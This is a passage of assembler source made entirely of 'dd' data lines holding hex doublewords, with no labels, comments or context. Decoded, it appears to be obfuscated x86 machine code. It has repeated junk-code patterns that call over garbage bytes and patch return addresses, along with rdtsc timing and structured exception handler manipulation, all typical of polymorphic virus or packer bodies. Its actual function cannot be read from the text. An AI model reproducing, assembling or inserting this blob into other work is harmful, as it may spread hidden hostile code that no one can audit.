		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D21D2FC3h
		dd 0A238634Ch, 5AEF806Ch, 68E0Fh, 0BD8B0000h, 6071D55h
		dd 1AA595FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 45C40DC3h, 0DA5571F8h, 0D8B70F71h
		dd 8ADBD83h, 0F000607h,	1D84h, 5D9D8900h, 9606072Ch, 50D88B66h
		dd 0E8E23ABBh, 0BD03964Dh, 6070129h, 7B99D8Bh, 0B5FF0607h
		dd 60AB372h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0AC35646h, 0EE31FBE6h, 447BA155h, 0B13FBF66h, 260595FFh
		dd 0B5FF0607h, 60AB372h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 77C35343h, 1A8F0Fh, 0EE80000h, 37000000h
		dd 632C14Eh, 5B92438Ah,	0A49D403h, 118D89EDh, 5B06072Dh
		dd 0CA816660h, 0D88B0D41h, 0F195FF61h, 5106071Dh, 2ECD8D89h
		dd 835B0607h, 703B1BDh,	840F0206h, 28h,	858BDA8Ah, 6070749h
		dd 800Fh, 0C60000h, 12E900h, 0C4E60000h, 8A800FA4h, 18A81DBDh
		dd 0EEA232E5h, 26870840h, 0F4985C7h, 607h, 8F0F0000h, 0Ch
		dd 7E9h, 0ECBE0500h, 0D7D1544Dh, 0FFF354E9h, 8D9531FFh
		dd 8B060704h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 1C6792D7h, 9E9h, 6E07CE00h, 0D6686C9Dh
		dd 858D5CB0h, 6071F19h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 1DC35343h, 4B09DEE7h,	69C4B1FEh, 1659D31h
		dd 0E9500607h, 0Ah, 9D6ACCE1h, 55EBA4F0h, 48914DCh, 0DFBF0F24h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0C425ACC3h, 947DFA9Dh, 0BF125478h, 2459DFA1h
		dd 0B589006Ah, 6072C0Dh, 11E9h,	0F345E100h, 0FA05B63Bh
		dd 3CA06C15h, 5C2DABB3h, 858D2602h, 60B52FFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 68C35040h, 0C0833AF8h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 20BDFF13h, 237954D5h, 72C4D9Dh, 0E8605106h
		dd 0Bh,	0AC80E1D1h, 0DAA5C844h,	58FA52A1h, 61D0B70Fh, 8B66505Fh
		dd 240489D9h, 18BDBD03h, 6AF80607h, 89BD8B00h, 6A060707h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0C00C5A17h, 276A3E48h, 13E9h, 585ACB00h
		dd 0A1C9D9Eh, 0D465BDE2h, 681DFD5Bh, 0D6F5C621h, 0CD95FFFCh
		dd 6A06071Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0ADEDC353h, 120319D0h,	0B78D8D2Ch
		dd 6A060AA5h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 2CBDC353h, 0FFF8FCA0h,	0C5BD31D1h
		dd 83060718h, 71995BDh,	850F0106h, 0D0h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 12C35646h, 7C8B4FADh
		dd 8D89EDD7h, 6073075h,	6A026Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0FC3BE1C3h, 13D8BCD6h
		dd 0AF6BEF81h, 0E9506313h, 0Bh,	0B232D5AEh, 0CCB86B47h
		dd 89F90F93h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0DCFF6CC3h, 19CDD826h, 19BD8589h
		dd 95FF0607h, 60729FDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0E9C35747h, 1A810Fh, 0EE80000h, 86000000h
		dd 0D574DC35h, 0D8DD1330h, 1C5E4E4Ah, 659D0B1Dh, 5B06072Ch
		dd 0CEEE9h, 0E800h, 815D0000h, 0B5309EDh, 0FE906h, 109B0000h
		dd 0D89E2DEDh, 0C741BCD5h, 0E76F3Eh, 57006A23h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 1A48BC66h
		dd 0A858DF8h, 8B060A91h, 730659Dh, 199D2906h, 90060720h
		dd 0B7535250h, 310F5F2Ah, 5350585Ah, 5BDE8B66h,	57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 578DB984h, 0FA4E6EE6h, 0F98D8900h, 6406072Ah, 35FFh
		dd 89640000h, 25h, 59BD8B00h, 0FF060704h, 70FA585h, 0EF816606h
		dd 0FF6A6775h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	8CC35646h, 293CE380h, 71AA19Dh,	0C9B5FF06h, 6A060722h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0DCF0C352h, 21EDBCA1h, 303595FFh,	52E90607h
		dd 0E8000001h, 10h, 0F5709680h,	706FF1D0h, 638F6634h, 2E37E98Dh
		dd 7E960h, 18730000h, 0F798EC6h, 0F0BF660Fh, 0B05F61B4h
		dd 0FA8B6600h, 0E4FC70E6h, 10E871h, 85DE0000h, 0F729B743h
		dd 6EDDE124h, 5301CB7Bh, 816631F5h, 5FCEDACBh, 830F613Ch
		dd 0FDh, 10E9h,	66BBC400h, 109FD304h, 8643DE21h, 87A6D7AFh
		dd 0C8B60FA4h, 8E9h, 1739A100h,	132A834Ah, 6BA3Fh, 0FF50000h
		dd 0C18BD9B7h, 0FE9h, 67415C00h, 19750285h, 0E5D98BEh
		dd 6011F0D0h, 6604E8C1h, 6617EDBFh, 0EE8E2F7h, 0B6000000h
		dd 0A11D8C9Bh, 765EA833h, 7832EB3Bh, 619509D2h,	5F06072Fh
		dd 89C82BF5h, 703E18Dh,	0E9D18B06h, 5, 35C200BBh, 0F5858B26h
		dd 8106070Bh, 0ADAC15E7h, 7C08351h, 0DE960h, 3FDD0000h
		dd 29A97E51h, 54A47BC1h, 66316BAEh, 8361C38Bh, 8D0100C0h
		dd 6071DCDh, 830FD03Bh,	10h, 10AD9D09h,	3EE90607h, 66000000h
		dd 0F2ABD781h, 18218D8Bh, 9D8B0607h, 6070019h, 0F01E183h
		dd 2484h, 6860F00h
		dd 89000000h, 71E399Dh,	21A58306h, 0FE060718h, 7B18589h
		dd 95890607h, 6070BF5h,	0E9h, 5BB58D00h, 8B060AE3h, 71C29BDh
		dd 8B006A06h, 710E19Dh,	195FF06h, 6A060732h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 342AC352h, 0E8ACB750h, 5, 8B0DBCC1h,	0D8D29BAh, 5B060722h
		dd 0BE8h, 5348BB00h, 9D113772h,	500FF465h, 1E019D8Bh, 0B95F0607h
		dd 975h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0E1C35747h, 0BF098AA4h,	79D7F8FBh, 799D8B56h, 8906071Ah
		dd 722FD85h, 0FCE18306h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 77C35242h, 7BEF2BE3h,	8B6F809Ah, 0F19D8BDAh
		dd 0FC06071Ah, 0C9BD8B56h, 5F06072Ah, 0B8h, 14E900h, 36E60000h
		dd 23BBEFEBh, 0E2DE5E80h, 3F484709h, 0C2D4A6D2h, 0D22B7923h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 92C35242h, 38D464E4h, 0BF0FF3BDh
		dd 619D29FBh, 6A06070Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0E206C352h,	8DCFA161h
		dd 0D99F81Dh, 88h, 1830BB66h, 1B41958Bh, 0D88B0607h, 6058D8Bh
		dd 5E80607h, 0C0000000h, 29703A7Ch, 11E9h, 0B5432300h
		dd 0F84B4339h, 2B7AE807h, 5121AD64h, 505B4568h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0D6B31920h
		dd 0F0B6ECD9h, 6A5007h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 8421F6C3h, 40468346h, 13E8h, 0C2F4C00h
		dd 0A2864C07h, 0A3C9ECFAh, 0EDAE7EFCh, 0CED2D7ABh, 12259D89h
		dd 835F0607h, 70BD1BDh,	840F0006h, 6Bh,	0AD9D8Bh, 0B80607h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 39D2C356h, 9DB663A2h, 0B48D8D64h
		dd 6A06074Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0A47CC356h, 7C932BC7h,	2B78039Fh
		dd 722F5BDh, 85BD8B06h,	0FF060722h, 0AD9D8BE1h,	83060706h
		dd 70069BDh, 840F0006h,	3E1h, 8CEBDF81h, 0F38100BDh, 1572079Bh
		dd 69BD83h, 0F010607h, 3E384h, 5858900h, 83060707h, 70069BDh
		dd 860F0306h, 39Ah, 0EFBCF381h,	6A60115Ch, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 7210C353h
		dd 968800C6h, 9BD8BA8h,	6606072Dh, 0DA8BD98Ch, 0F04E180h
		dd 683h, 5858900h, 0A06071Bh, 34840FC9h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 5AAAC356h, 90DBD8Bh,	858B0607h, 607306Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4C35343h, 0D8E7F712h
		dd 0D73B3254h, 0EE822h,	1B3A0000h, 0B4270982h, 3D38542Eh
		dd 831B8121h, 0FE960h, 67990000h, 10346AEDh, 191DB4ACh
		dd 10E20F96h, 61B5890Ah, 6106071Ch, 585335Bh, 9060733h
		dd 72C1585h, 0F98B5006h, 8B240489h, 710CD9Dh, 6A006A06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 18EAC351h, 686BE4B7h, 0A672ECA4h,	7E9h, 8EFD5200h
		dd 7841E7E6h, 5B240481h, 0BF59AC17h, 447F511Dh,	1B9195FFh
		dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0F82430C3h, 728589F5h, 6A060AB3h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0CA20C353h, 668E2B74h, 9D8BD98Bh, 6071F3Dh, 16BE9h
		dd 0FD958900h, 8B06070Bh, 0AB36A85h, 9F8FBB06h,	0C7070Eh
		dd 18h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h
		dd 0E0C35646h, 8B66664Ah, 6EB58BFBh, 60060AB3h,	2DD19D29h
		dd 0BBB90607h, 611ECF34h, 1579858Bh, 0E7800607h, 6A068917h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0B198C357h, 0E838B7DEh, 7, 60BCBED5h, 898ECC45h
		dd 7169595h, 858B5B06h,	607306Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 59C35040h, 4F09FA41h, 44689B7h
		dd 96DBBF0Fh, 9D8B9650h, 607331Dh, 0B36AB5FFh, 0DA8B060Ah
		dd 0EBAE6968h, 0D98B605Ah, 0CCEDF6BEh, 34816106h, 0F4AD9624h
		dd 53006A5Ah, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0EA22BF7Ah, 6E962h, 0FEEC0000h, 0AEC8DECh
		dd 0B372858Dh, 0BF66060Ah, 50902343h, 0DF8B6652h, 5060310Fh
		dd 5A310F52h, 13E958h, 96B50000h, 0A82E8053h, 9249ACF3h
		dd 0C4E2FB79h, 0E004FD60h, 585A61CCh, 6A9050h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 1929D1C3h, 0E94D6B3Ah, 1B9195FFh, 0BD8B0607h, 6072B99h
		dd 56006A61h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 33235CDCh, 8BF586F2h, 71215BDh, 6985C706h
		dd 3060700h, 0F000000h,	1C8Ah, 0B5336000h, 607010Dh, 0EE8h
		dd 0A081C400h, 21FE3BFBh, 82C4F4FCh, 5FBBB34Ch,	72BD8361h
		dd 60AB3h, 54840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 170424h, 50400000h, 271075C3h, 0F5B58905h
		dd 80060705h, 72B3E6C7h, 40E9h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 23F479A5h
		dd 4BE7008Bh, 30507E6Ch, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0BB5088BAh, 0FA8B6662h
		dd 89FE8B66h, 704D59Dh,	69BD8306h, 3060700h, 397850Fh
		dd 5E90000h, 21000000h,	0E31E249Eh, 0B372BD83h,	0F00060Ah
		dd 38084h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0E9DEC721h, 0B5FF0B62h, 60AB372h
		dd 4DBD0B56h, 5F06071Bh, 154595FFh, 6A0607h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 19F0E8C3h
		dd 9DBA65E3h, 0F5C4F3C0h, 0B366B58Bh, 830F060Ah, 0
		dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 5AC7ADC3h, 9D0B689Ch, 6072F85h
		dd 38F0F50h, 66000000h,	3489FE8Bh, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FFE3B394h
		dd 0AB372B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0A3482BEEh, 7D99D89h, 9D890607h
		dd 6070C4Dh, 91195FFh, 6A0607h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8B6023C3h, 71CB59Dh
		dd 66B58B06h, 66060AB3h, 858BD88Bh, 6072CC9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 83C35040h, 0FE889CBh
		dd 0E89h, 9E900h, 0E530000h, 0B172FDAEh, 89F0FF30h, 0C486h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 7FD023CBh, 1B899D09h, 0BB510607h, 2955AE86h
		dd 41958B5Fh, 6606071Bh, 0C283F88Bh, 5089FC04h,	0CB816620h
		dd 858DB1B0h, 60AC7EDh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 48C35343h, 8689FD76h,	0B8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 3C35646h, 0BD896417h
		dd 6073301h, 8F0F006Ah,	1, 72B5FFF9h, 6A060AB3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0DA14C351h, 3500499Ah, 0B748CFB6h, 5A9BD8Bh,	95FF0607h
		dd 60729FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0FEC35141h, 9EB3B6EAh, 0AADBD8Bh, 50960607h, 5296DA8Bh
		dd 5BFFB70Fh, 0B372B5FFh, 6A060Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 637AF0C3h, 66336C8Eh
		dd 0FFFCA6BFh, 71AA595h, 0B9852906h, 83060730h,	708ADBDh
		dd 840F0006h, 2Ah, 16D98589h, 60960607h, 8A616060h, 0DF8B61E5h
		dd 6E95061h, 66000000h,	0DF7C53B2h, 0BD8B9678h,	6070005h
		dd 1D9BD8Bh, 0B5FF0607h, 60AB372h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 13C35343h, 4850Fh, 0BB660000h
		dd 95FFFB39h, 6072605h,	1ADDBD01h, 0B5FF0607h, 60AB372h
		dd 61F38B60h, 1DF195FFh, 0E9600607h, 10h, 3A4243BAh, 0FCD598C6h
		dd 9A50A1A8h, 1B635D57h, 0B1BD8361h, 2060703h, 34840Fh
		dd 858B0000h, 6070749h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 26C35141h, 0D515FD23h, 25263377h, 0C6A6h
		dd 1C9DB589h, 85C70607h, 6070F49h, 0
		dd 8BD88B66h, 716C99Dh,	0F3E8E906h, 8166FFFFh, 8BAC50EFh
		dd 53006AC1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 169F296Fh, 8DFB8B77h, 71F1985h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0C3FD99D0h, 890F5150h, 2, 895FD5B7h,	0B5892404h, 60704B9h
		dd 0A72BB66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 114632C3h, 7483FFEh, 0EE838h, 55E40000h
		dd 0E311BDFh, 7C3B613Ch, 0B66F87E7h, 18B1B501h,	6A5B0607h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0D649584Bh, 0CAD028A7h, 6224858Dh, 9531060Bh
		dd 6073191h, 8B05C083h,	717559Dh, 810F9006h, 2,	5050FE8Bh
		dd 9E852h, 6BD80000h, 0B79C172Bh, 60421558h, 310F5B61h
		dd 310F5250h, 6CB6BF66h, 585A585Ah, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 5BEC4CD5h
		dd 0F73ADDD5h, 69C3807Fh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 815A0AC3h, 3006AF5h
		dd 70B59BDh, 0CD95FF06h, 6A06071Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0BB60C352h
		dd 20453C52h, 9C2F1CDh,	707D9B5h, 0B78D8D06h, 6A060AA5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 89D2C350h, 71F958Dh, 66D1FF06h, 0BD83DF8Bh
		dd 6071995h, 96850F01h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 9707C357h
		dd 6A53A0A9h, 1A98357Ah, 30799531h, 26A0607h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 45C35141h, 92C40451h
		dd 0E912F3E6h, 8, 0C9FDEF9Dh, 27949252h, 0BF505090h, 3C3168E6h
		dd 6A905Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 59987AC3h, 7D27B8DCh, 0F99D89BFh,	0FF06071Ch
		dd 729FD95h, 0D8FE906h,	0E80000h, 5D000000h, 622EED81h
		dd 880F060Bh, 0Ch, 6800Fh, 95890000h, 6071F5Dh,	32D1BD8Bh
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 43BC0FC3h, 1F18ADCh, 5E8h, 0D88300h, 860FD8EAh
		dd 6, 1252E781h, 895F7454h, 70A9D85h, 0A858D06h, 0E9060A91h
		dd 0Bh,	94A7020Fh, 1EB1D83Ah, 90A537E6h, 50DE8B66h, 61605360h
		dd 0C267B858h, 90610112h, 29799D89h, 0FF640607h, 35h, 24BE6000h
		dd 0E915A063h, 6, 8A1EADBBh, 6461014Bh,	2589h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 7B66E8C3h, 9B1A6583h, 0FFFA8B90h, 70FA585h, 8BF88B06h
		dd 81FF6ADAh, 151F6BE3h, 85B5FF05h, 6A06070Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 9C0C357h, 8589AFF5h,	6070801h, 303595FFh, 0FEE90607h
		dd 0E8000000h, 5, 65C01F5Ah, 0F1BD8BB9h, 5B060706h, 6ABB00B0h
		dd 0E677558Eh, 0D5BD8970h, 0E4060729h, 8A0F5071h, 6, 9012D381h
		dd 895F2E98h, 7292D8Dh,	0F613C06h, 0C083h, 39BD8B00h, 0B060721h
		dd 721B1BDh, 0C8B60F06h, 81DE8060h, 6BA61h, 9D890000h
		dd 60701B9h, 9589C18Bh,	6071665h, 8004E8C1h, 0F7668BD3h
		dd 0DF8166E2h, 0C82B5118h, 8E9h, 803B1500h, 18A06806h
		dd 79B5896Dh, 8B060717h, 95B589D1h, 0E906072Eh,	0
		dd 25F9858Bh, 28BF0607h, 8366F8FAh, 0C08307C0h,	29853100h
		dd 3B060727h, 0F830FD0h, 66000000h, 0E9862EBFh,	41h, 1FD18589h
		dd 8D8B0607h, 607109Dh,	0F01E183h, 2C84h, 9D950900h, 31060731h
		dd 720ED95h, 9DA58306h,	0FE060710h, 0F8D9D03h, 95890607h
		dd 60725F9h, 0AACB8157h, 5F41F03Fh, 0E9h, 18B58D00h, 6A060AEFh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 239AC356h, 0D17684D1h, 8B006A01h,	195FFDAh
		dd 6A060732h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0FF05C357h, 7FFE51BFh,	0A2C0E6E1h
		dd 0E9FABF0Fh, 0Ah, 1F263D87h, 406E003Ch, 12B95688h, 81000008h
		dd 0DDEA6DF7h, 9B5013Fh, 83060727h, 12E8FCE1h, 65000000h
		dd 1DFD5BD4h, 0F5C62168h, 8C937BD6h, 24CE0375h,	0A59D8B0Eh
		dd 5F060701h, 7FF780FCh, 6AC02Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8E0F6DC3h, 5,	86E78166h
		dd 880F17h, 0BA000000h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 31C35040h
		dd 659FCEECh, 0C233ADFEh, 0D003E8D1h, 7504E983h, 0C78166F4h
		dd 6A9500h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 601BFEC3h, 30919589h, 8D010607h, 6072675h
		dd 880D61h, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 170424h, 52420000h, 31F6F6C3h, 5DBB6603h, 0D18501A5h
		dd 8B06071Bh, 71B4195h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 7672E0AAh, 9D897487h
		dd 6070BC1h, 58D8BF5h, 6A060706h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 4A44C352h
		dd 9F068132h, 0F9E5482Dh, 1FC59D0Bh, 8B500607h,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0EC35343h, 4D7100A5h, 5AE8E707h
		dd 6AFE8Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0ABE67AC3h, 0FC95256h, 283h, 83B3B300h, 70BD1BDh
		dd 840F0006h, 6Fh, 10E9h, 7832EB00h, 0C74F99D2h, 1E529DACh
		dd 0A1BAD141h, 8E832h, 0E43C0000h, 0B8CDF19Eh, 0BD895C4Eh
		dd 6072D2Dh, 0B85Fh, 29600000h,	7105985h, 6890F06h, 89000000h
		dd 715D195h, 8D8D6106h,	6074DB4h, 0FFD88B66h, 51006AE1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 66F07AB7h, 839159BFh, 70069BDh, 840F0006h, 3F0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BBC35646h, 833B0B0Bh
		dd 70069BDh, 840F0106h,	3DFh, 2D318D89h, 0BD830607h, 6070069h
		dd 96860F03h, 8B000003h, 71AC9BDh, 0BD8B6006h, 6072FF5h
		dd 6AD98C66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 50ECC356h, 0F22E6A3Fh,	0CFB581B3h
		dd 9E9F9h, 0CD5B0000h, 3C09890Ah, 803E3A4Ah, 0BB6604E1h
		dd 0C90AB173h, 111840Fh, 60600000h, 0C96853B8h,	0B5896146h
		dd 6072655h, 6D858B61h,	0E8060730h, 7, 0C0F0B9F1h, 8B2EBBCCh
		dd 70821BDh, 85335B06h,	6073305h, 0CAD9C5BFh, 880F9018h
		dd 2, 5350F88Bh, 905FFA8Bh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0E7C35343h, 697D81ABh, 650D3E75h, 501BD89h
		dd 6A0607h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 1Ah,	5CC35343h, 0BA0F17Bh, 4ABF71FEh, 68149592h, 11EC040Bh
		dd 8DE5BB66h, 0F4243481h, 0F11F307h, 38Ah, 0C4CB8000h
		dd 1B9195FFh, 0BD0B0607h, 6072FF5h, 2EFDBD8Bh, 85890607h
		dd 60AB372h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	75C35343h, 0D0AF0BFh, 20FE927h,	6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0D38275C3h, 55113F9Dh, 8B24167Ah, 0AB36A85h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0C7FC6A5Ch, 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 78BF66E2h, 6EB58B40h
		dd 89060AB3h, 71A0D9Dh,	79858B06h, 66060715h, 89767CBBh
		dd 6830F06h, 9000000h, 72B2D9Dh, 6D858B06h, 6A060730h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 22E0C350h, 0D6C10AF5h, 91BD316Fh,	89060705h
		dd 6A0446h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 962228C3h, 825874BBh, 0AE8500Fh, 0B4000000h
		dd 4C8D4C24h, 9FB55104h, 525056C2h, 585A310Fh, 6A965B5Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0C8B3C352h, 0F2EF6CCAh, 0BF0F780Ah, 66AEB7FAh
		dd 0B5FFFB8Bh, 60AB36Ah, 2D099589h, 4E80607h, 0FF000000h
		dd 0BB001F03h, 6D8C32E4h, 66606050h, 61BBEEBEh,	860Fh
		dd 8B610000h, 0BF042444h, 11DE2753h, 6653008Bh,	895FF98Bh
		dd 0F042444h, 1A8Eh, 11E800h, 6E150000h, 0B9913903h, 0FB47C250h
		dd 6818B5A0h, 66373B52h, 585BF98Bh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 1FC35141h, 96CACA76h, 8B66B8FAh
		dd 72858DDFh, 8B060AB3h, 7298DBDh, 8B605006h, 665250DFh
		dd 310FD08Bh, 0DE9h, 0AA9F0D00h, 80AE1BE6h, 0AD67D933h
		dd 585A2612h, 24048961h, 1B0DBD0Bh, 95FF0607h, 6071B91h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7DC35343h
		dd 35F3DFFDh, 1D2181A7h, 0BD0B6164h, 6071B79h, 6985C7FCh
		dd 3060700h, 89000000h,	722C5B5h, 72BD8306h, 60AB3h, 23840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 1DE9E1C3h, 8B000000h, 0C3050DFh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 6820Fh, 0E3810000h
		dd 35718E4Dh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	0CCC35141h, 0B1F9096Ch,	93AC74Dh, 0B9BD8B8Fh, 8306070Bh
